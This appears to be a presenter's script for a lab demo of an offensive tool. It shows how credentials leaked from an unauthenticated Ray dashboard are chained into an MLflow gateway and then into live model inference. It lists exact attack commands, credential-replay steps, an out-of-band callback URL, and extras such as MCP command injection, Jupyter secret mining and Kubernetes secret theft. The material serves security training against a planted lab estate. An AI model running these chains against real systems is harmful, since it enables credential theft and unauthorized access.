Tactic: the guided credential chain¶
The guided chain end to end — one command ladder, per-hop expected output, and the credential hand-off narration that makes it land. It runs about 20 minutes start to finish. This is the narration script the presenter follows from the stage; attendees run the same ladder self-paced at the tactic table across the two 50-minute waves. For the attendee self-serve card see Start Here.
Premise (one line to the room): "One unauthenticated Ray dashboard on ACME's ML-platform box, chained across three teams — data science, then the app team — to real model inference. The same estate holds the fraud model, customer PII, and a Snowflake credential."
Setup: on the attack box, confirm aipostex version, then open an engagement:
Every command from here auto-accumulates into ~/engagements/acme-mlops — no per-command flags,
nothing to repeat. At the close you read the chain straight out of that dossier and sessions stop.
Pre-run bash ~/lab/verify-chain.sh (expect 13/13) so you know the chain is live before you talk.
The ladder (attendee-paced, ~20 min end to end)¶
| Hop | What the room sees |
|---|---|
| Framing | The estate, the premise, the credential chain |
| Ray | Unauth dashboard, a job's runtime_env leaks the MLflow gateway credential |
| MLflow gateway | The looted Basic credential opens the gated gateway, a run param leaks an HF token |
| TGI gateway | The looted HF token replays into real inference on a model-serving endpoint |
| Dossier | report view --chains reconstructs the chain; the dossier hands you the loot as files |
Hop 1 — Ray (unauthenticated)¶
Say: "No auth at all. Ray runs jobs, and a job's runtime environment carries the env vars the team used — including the MLflow tracking credential."
Point at: the MLFLOW_TRACKING_URI + MLFLOW_TRACKING_USERNAME/PASSWORD in a job's
runtime_env. That Basic credential is hop 2's key (ray-pipeline:…).
Recovery: if jobs shows nothing, the seed job may have aged out — re-seed Ray with
ssh labadmin@172.16.50.20 'sudo /opt/ailab-ml/venv/bin/python3 ~/lab/ml-platform/seed_ray.py localhost 8265'
(or sudo bash ~/lab/ml-platform/seed.sh to re-seed the whole ML host), then re-run.
Hop 2 — MLflow auth gateway (credential-gated)¶
aipostex mlflow --target http://172.16.50.30:5000 \
--header "Authorization: Basic <ray-looted-basic>" runs --limit 20
Say: "This MLflow sits behind a reverse-proxy auth gate — unauthenticated calls get 401. But we're not unauthenticated anymore; we looted a credential from Ray. Replay it."
Point at: the 401-without-creds vs 200-with-the-looted-creds contrast, then the HF token surfaced in a run's params/tags. That token is hop 3's key.
Note for the room:
ailab-ds:5000is the gated gateway (the chain hop). There's also a directly-exposed MLflow backend atailab-ml:5000— both are realistic in an open estate; the gateway is here to demonstrate credential chaining, not network segmentation.
Hop 3 — HF TGI gateway (real inference)¶
aipostex huggingface --target http://172.16.50.40:8180 \
--header "Authorization: Bearer <mlflow-looted-hf-token>" \
generate --prompt "incident response playbook" --force-exploit
Say: "Third team, third service. The token we pulled out of MLflow is a HuggingFace inference token. We replay it and get real generated text back — actual model inference on their model-serving backend, reached purely by chaining looted credentials."
Point at: "inference": "real" and the generated text. The tool runs a no-credential control
probe, so it only calls this a credential replay because the endpoint genuinely rejects the
request without the token — not just because we sent a header.
By-hand beat (optional): to show the operator can keep driving the looted service, drop into the console and chat the model directly — same looted token, live turns:
./aipostex huggingface --target http://172.16.50.40:8180 \
--header "Authorization: Bearer <mlflow-looted-hf-token>" shell
Two lines to the room: "the chain proved the credential; now we just use it — by hand, through the tool." (Chat is ungated; nothing auto-chains — the operator types every turn.)
Recovery: if the inference backend/TGI is unavailable the tool reports reachable/credential_gated rather
than a fake success — say so plainly; the honesty is the point.
Close — the engagement dossier, the whole chain¶
The session captured every hop into ~/engagements/acme-mlops as you went — nothing to build or
collect. Every finding already carries the credentials it looted and its chain metadata, so you read
the chain straight out of the engagement, then close it:
# Read the attack chain from the engagement dossier: find → loot → chain → reached
aipostex report view ~/engagements/acme-mlops --chains --commands
cat ~/engagements/acme-mlops/credentials.txt # every looted credential, grouped by service
aipostex sessions stop
Say: "We didn't just pop three boxes — the tool reconstructs the chain. The engagement was open
the whole demo, quietly collecting every finding; --chains reads it back as find → loot → chain →
reached: where each secret leaked, what it unlocked, and the exact command that carried us to the next
hop. The dossier is files, not a log — credentials.txt, commands.sh, raw evidence — each tagged
with how far it actually landed. That's the difference between a scanner that hands you a PDF and a
tool that hands you the keys."
Point at: the [reached] vs [gap] markers in the chain board, and the landed/stage tag on
each credential. Honest by construction: reached is a host+module correlation, not a claimed
replay — the tool won't overstate even its own board.
Optionally, measure the coverage (the lab's whole-estate scoreboard, not the tool's output — it wants one JSON engagement, so merge the session's findings first):
aipostex engagement merge ~/engagements/acme-mlops/findings.jsonl -o ~/engagement.json
python3 ~/lab/scoring/score.py ~/engagement.json --strict # coverage of the 170 planted findings
The takeaway line: "AI infra security isn't about one service — it's about the credential flows between them. One open Ray dashboard became real inference on two other teams' systems — and that same chain is what reaches ACME's fraud model, customer PII, and warehouse credentials. You secure the flows, not just the boxes."
Beyond the chain — additional surfaces (optional)¶
If the room wants more after the chain lands, keep the chain as the spine and treat these as extras:
- A2A — "accepted ≠ exploited" (the real a2a-sdk agent at
172.16.50.40:8103, not the scored:8100mock):card-spoof --callback-url http://172.16.50.99:18943 --force-exploit. Acceptance is onlyinfluenced; a real nonce-correlated out-of-band callback is what upgrades it totakeover-capable— a 30-second landed-ladder coda. Pre-record it; a live callback can fail on stage. The--callback-urlmust be routable from the agent — the attack-box IP here (172.16.50.99), orhost.docker.internalfor a dev-machine sandbox pre-record (alocalhostcallback staysinfluenced: the containerized agent can't reach your host). - MCP RCE · Jupyter secret-mining · vector-DB injection — the estate's other open surfaces
(
mcp poison --mode cmd-inject,jupyter ... notebooks --mine-secrets,vectordb ... inject --collection acme-knowledge-base --payload "..." --verify-persist), the same extras the RTV tactic offers early finishers. - Operator console — interact by hand (optional): for a "now I just use it" beat, the console
drives any reachable service turn-by-turn:
aipostex jupyter … shell --force-exploit(Python kernel),aipostex mcp … shell --force-exploit(call tools),aipostex a2a … shell --force-exploit(drive the agent), oraipostex <llm> … shell(chat a looted model). Manual — no auto-chaining. See therequest/shellCLI reference. - K8s supply-chain (in-estate): the cluster angle runs against the estate k8s node
ailab-k8s(172.16.50.50, vuln:6443/ secure:6444) — anonsecret-readrecovers the model-registry HF/AWS creds andsa-lootproves the stolenpipeline-runnerSA can write the registry (supply-chain tampering). A presenter beat, not an attendee estate hop.
Pre-flight checklist (run before you present)¶
-
bash ~/lab/verify-chain.sh→ 13/13 -
aipostex versionprints the expected build -
aipostex sessions start acme-mlops(fresh engagement;sessions pruneclears old empty ones) - Ray
jobsreturns the seeded credential-bearing job - TGI / inference backend reachable (or be ready to narrate the honest
reachablefallback)